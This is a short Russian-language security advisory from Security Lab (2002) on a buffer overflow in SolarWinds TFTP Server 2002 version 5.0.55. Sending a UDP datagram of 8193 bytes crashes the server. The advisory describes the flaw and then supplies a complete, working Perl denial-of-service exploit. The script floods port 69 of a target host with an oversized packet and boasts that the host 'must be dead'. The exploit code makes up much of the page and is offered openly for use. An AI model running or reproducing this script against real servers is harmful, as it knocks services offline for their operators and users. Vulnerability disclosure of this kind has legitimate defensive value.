Security Lab

Переполнение буфера при получении длинной UDP-датаграммы в TFTP Server 2002

Дата публикации:25.10.2002
Дата изменения:17.10.2006
Всего просмотров:1463
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: TFTP - Trivial File Transfer Protocol. Для взаимодействия с клиентами использует UDP (в отличие от FTP) и, как следствие, обладает довольно скудными возможностями: не позволяет смотреть содержимое каталогов, перемещаться по ним и т.д. Более подробно см. RFC 1350.

TFTP Server от SolarWinds - один из немногих серверов предназначенных для передачи данных посредством данного протокола.

Так вот, переполнение буфера и отказ от обслуживания происходит при получении сервером длинной UDP-датаграммы, то есть, по простому говоря, длинного запроса. Эксперементы показали, что "magic number" = 8193 :)

Т.к. подручными средствами такой запрос никак не сформируешь (даже тельнетом), вот вам сплойт:

#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";
уязвимость обнаружена в TFTP Server 2002 Standard Edition version 5.0.55

Уязвимоть обнаружил D4rkGr3y